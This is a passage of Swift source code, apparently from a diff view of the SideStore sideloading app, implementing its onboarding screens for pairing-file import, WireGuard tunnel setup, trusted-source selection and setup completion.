}
|
||||
}, action: {
|
||||
ModalNavigationLink("Select Pairing File") {
|
||||
DocumentPicker(selectedUrl: self.$pairingFileURL,
|
||||
supportedTypes: self.pairingFileTypes.map { $0.identifier })
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
.onChange(of: self.pairingFileURL) { newValue in
|
||||
guard let url = newValue else {
|
||||
return
|
||||
}
|
||||
|
||||
self.importPairingFile(url: url)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
var wireguardView: some View {
|
||||
OnboardingStepView(title: {
|
||||
VStack(alignment: .leading) {
|
||||
Text("Download WireGuard")
|
||||
}
|
||||
}, hero: {
|
||||
Image(systemSymbol: .icloudAndArrowDown)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.foregroundColor(.accentColor)
|
||||
.shadow(color: .accentColor.opacity(0.8), radius: 12)
|
||||
}, content: {
|
||||
VStack(alignment: .leading, spacing: 16) {
|
||||
Text("To sideload and sign app on-device without the need of a computer program like SideServer, a local WireGuard connection is required.")
|
||||
Text("This connection is strictly local-only and does not connect to a server on the internet.")
|
||||
Text("First, download WireGuard from the App Store (free).")
|
||||
}
|
||||
}, action: {
|
||||
AppStoreView(isVisible: self.$isWireGuardAppStorePageVisible, itunesItemId: 1441195209)
|
||||
.frame(width: .zero, height: .zero)
|
||||
|
||||
VStack {
|
||||
SwiftUI.Button("Show in App Store") {
|
||||
self.isWireGuardAppStorePageVisible = true
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
|
||||
SwiftUI.Button("Continue") {
|
||||
self.showNextStep()
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
}
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
var wireguardConfigView: some View {
|
||||
OnboardingStepView(title: {
|
||||
VStack(alignment: .leading) {
|
||||
Text("Enable the WireGuard Tunnel")
|
||||
}
|
||||
}, hero: {
|
||||
Image(systemSymbol: .network)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.foregroundColor(.accentColor)
|
||||
.shadow(color: .accentColor.opacity(0.8), radius: 12)
|
||||
}, content: {
|
||||
VStack(alignment: .leading, spacing: 16) {
|
||||
Text("Once WireGuard is installed, a configuration file has to be installed in the WireGuard app.")
|
||||
Text("Tap the button below and open the downloaded file in the WireGuard app.")
|
||||
Text("Then, activate the VPN tunnel to continue.")
|
||||
}
|
||||
}, action: {
|
||||
VStack {
|
||||
SwiftUI.Button("Download and Install Configuration File") {
|
||||
self.downloadWireGuardProfile()
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle(isLoading: self.isDownloadingWireGuardProfile))
|
||||
.sheet(item: self.$wireGuardProfileFileURL) { fileURL in
|
||||
ActivityView(items: [fileURL])
|
||||
}
|
||||
|
||||
SwiftUI.Button(self.isWireGuardTunnelReachable ? "Continue" : "Waiting for connection...",
|
||||
action: self.showNextStep)
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
.disabled(!self.isWireGuardTunnelReachable)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
var addSourcesView: some View {
|
||||
OnboardingStepView(title: {
|
||||
VStack(alignment: .leading) {
|
||||
Text("Add Sources")
|
||||
}
|
||||
}, hero: {
|
||||
Image(systemSymbol: .booksVertical)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.foregroundColor(.accentColor)
|
||||
.shadow(color: .accentColor.opacity(0.8), radius: 12)
|
||||
}, content: {
|
||||
VStack(alignment: .leading, spacing: 16) {
|
||||
Text("All apps are provided through sources, which anyone can create and share with the world.")
|
||||
Text("We have compiled a list of trusted sources for SideStore which you can enable to start sideloading your favorite apps.")
|
||||
Text("By default, only the source containing SideStore itself is enabled.")
|
||||
|
||||
Toggle("Enable Trusted Sources", isOn: $areTrustedSourcesEnabled)
|
||||
}
|
||||
}, action: {
|
||||
SwiftUI.Button("Continue") {
|
||||
self.setupTrustedSources()
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle(isLoading: self.isLoadingTrustedSources))
|
||||
.disabled(self.isLoadingTrustedSources)
|
||||
})
|
||||
}
|
||||
|
||||
var finishView: some View {
|
||||
OnboardingStepView(title: {
|
||||
VStack(alignment: .leading) {
|
||||
Text("Setup Completed")
|
||||
}
|
||||
}, hero: {
|
||||
Image(systemSymbol: .checkmark)
|
||||
.resizable()
|
||||
.aspectRatio(contentMode: .fit)
|
||||
.foregroundColor(.accentColor)
|
||||
.shadow(color: .accentColor.opacity(0.8), radius: 12)
|
||||
}, content: {
|
||||
VStack(alignment: .leading, spacing: 16) {
|
||||
Text("Congratulations, you did it! 🎉")
|
||||
Text("You can now start your sideloading journey.")
|
||||
}
|
||||
}, action: {
|
||||
SwiftUI.Button("Let's Go") {
|
||||
self.finishOnboarding()
|
||||
}
|
||||
.buttonStyle(FilledButtonStyle())
|
||||
})
|
||||
}
|
||||
|
||||
@ViewBuilder
|
||||
func viewForStep(_ step: OnboardingStep) -> some View {
|
||||
switch step {
|
||||
case .welcome: self.welcomeStep
|
||||
case .pairing: self.pairingView
|
||||
case .wireguard: self.wireguardView
|
||||
case .wireguardConfig: self.wireguardConfigView
|
||||
case .addSources: self.addSourcesView
|
||||
case .finish: self.finishView
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension OnboardingView {
|
||||
func showNextStep() {
|
||||
guard self.currentStep != self.enabledSteps.last,
|
||||
let index = self.enabledSteps.firstIndex(of: self.currentStep) else {
|
||||
return self.finishOnboarding()
|
||||
}
|
||||
|
||||
withAnimation {
|
||||
self.currentStep = self.enabledSteps[index + 1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension OnboardingView {
|
||||
func importPairingFile(url: URL) {
|
||||
let isSecuredURL = url.startAccessingSecurityScopedResource() == true
|
||||
|
||||
do {
|
||||
// Read to a string
|
||||
let data = try Data(contentsOf: url)
|
||||
let pairing_string = String(bytes: data, encoding: .utf8)
|
||||
if pairing_string == nil {
|
||||
// TODO: Show error message
|
||||
debugPrint("Unable to read pairing file")
|
||||
// displayError("Unable to read pairing file")
|
||||
}
|
||||
|
||||
// Save to a file for next launch
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
let fm = FileManager.default
|
||||
let documentsPath = fm.documentsDirectory.appendingPathComponent("/\(filename)")
|
||||
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
||||
|
||||
// Start minimuxer now that we have a file
|
||||
start_minimuxer_threads(pairing_string!)
|
||||
|
||||
// Show the next onboarding step
|
||||
self.showNextStep()
|
||||
} catch {
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
}
|
||||
|
||||
if (isSecuredURL) {
|
||||
url.stopAccessingSecurityScopedResource()
|
||||
}
|
||||
}
|
||||
|
||||
func start_minimuxer_threads(_ pairing_file: String) {
|
||||
target_minimuxer_address()
|
||||
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
|
||||
do {
|
||||
try start(pairing_file, documentsDirectory)
|
||||
} catch {
|
||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
debugPrint("minimuxer failed to start, please restart SideStore.", error)
|
||||
// displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
||||
}
|
||||
start_auto_mounter(documentsDirectory)
|
||||
}
|
||||
}
|
||||
|
||||
extension OnboardingView {
|
||||
func downloadWireGuardProfile() {
|
||||
let profileDownloadUrl = "https://github.com/SideStore/SideStore/releases/download/0.3.1/SideStore.conf"
|
||||
let destinationUrl = FileManager.default.temporaryDirectory.appendingPathComponent("SideStore.conf")
|
||||
|
||||
self.isDownloadingWireGuardProfile = true
|
||||
URLSession.shared.dataTask(with: URLRequest(url: URL(string: profileDownloadUrl)!)) { data, response, error in
|
||||
|
||||
defer { self.isDownloadingWireGuardProfile = false }
|
||||
|
||||
if let error {
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
return
|
||||
}
|
||||
|
||||
guard let response = response as? HTTPURLResponse, 200..<300 ~= response.statusCode, let data else {
|
||||
// TODO: Show error message
|
||||
return
|
||||
}
|
||||
|
||||
do {
|
||||
try data.write(to: destinationUrl)
|
||||
self.wireGuardProfileFileURL = destinationUrl
|
||||
} catch {
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
return
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
func startPingingWireGuardTunnel() {
|
||||
do {
|
||||
self.reachabilityNotifier = try Reachability(hostname: "10.7.0.1")
|
||||
self.reachabilityNotifier?.whenReachable = { _ in
|
||||
self.isWireGuardTunnelReachable = true
|
||||
}
|
||||
self.reachabilityNotifier?.whenUnreachable = { _ in
|
||||
self.isWireGuardTunnelReachable = false
|
||||
}
|
||||
|
||||
try self.reachabilityNotifier?.startNotifier()
|
||||
} catch {
|
||||
// TODO: Show error message
|
||||
debugPrint(error)
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
}
|
||||
}
|
||||
|
||||
func stopPingingWireGuardTunnel() {
|
||||
self.reachabilityNotifier?.stopNotifier()
|
||||
}
|
||||
}
|
||||
|
||||
extension OnboardingView {
|
||||
func setupTrustedSources() {
|
||||
guard self.areTrustedSourcesEnabled else {
|
||||
return self.showNextStep()
|
||||
}
|
||||
|
||||
self.isLoadingTrustedSources = true
|
||||
|
||||
AppManager.shared.fetchTrustedSources { result in
|
||||
|
||||
switch result {
|
||||
case .success(let trustedSources):
|
||||
// Cache trusted source IDs.
|
||||
UserDefaults.shared.trustedSourceIDs = trustedSources.map { $0.identifier }
|
||||
|
||||
// Don't show sources without a sourceURL.
|
||||
let featuredSourceURLs = trustedSources.compactMap { $0.sourceURL }
|
||||
|
||||
// This context is never saved, but keeps the managed sources alive.
|
||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundSavingViewContext()
|
||||
|
||||
let dispatchGroup = DispatchGroup()
|
||||
for sourceURL in featuredSourceURLs {
|
||||
dispatchGroup.enter()
|
||||
|
||||
AppManager.shared.fetchSource(sourceURL: sourceURL, managedObjectContext: context) { result in
|
||||
dispatchGroup.leave()
|
||||
}
|
||||
}
|
||||
|
||||
dispatchGroup.notify(queue: .main) {
|
||||
self.isLoadingTrustedSources = false
|
||||
|
||||
// Save the fetched trusted sources
|
||||
do {
|
||||
try context.save()
|
||||
} catch {
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
}
|
||||
|
||||
self.showNextStep()
|
||||
}
|
||||
case .failure(let error):
|
||||
NotificationManager.shared.reportError(error: error)
|
||||
self.isLoadingTrustedSources = false
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
extension OnboardingView {
|
||||
func finishOnboarding() {
|
||||
// Set the onboarding complete flag
|
||||
UserDefaults.standard.onboardingComplete = true
|
||||
|
||||
if let onDismiss {
|
||||
onDismiss()
|
||||
} else {
|
||||
self.dismiss()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
struct OnboardingView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ForEach(OnboardingStep.allCases, id: \.self) { step in
|
||||
Color.red
|
||||
.ignoresSafeArea()
|
||||
.sheet(isPresented: .constant(true)) {
|
||||
OnboardingView(enabledSteps: [step])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user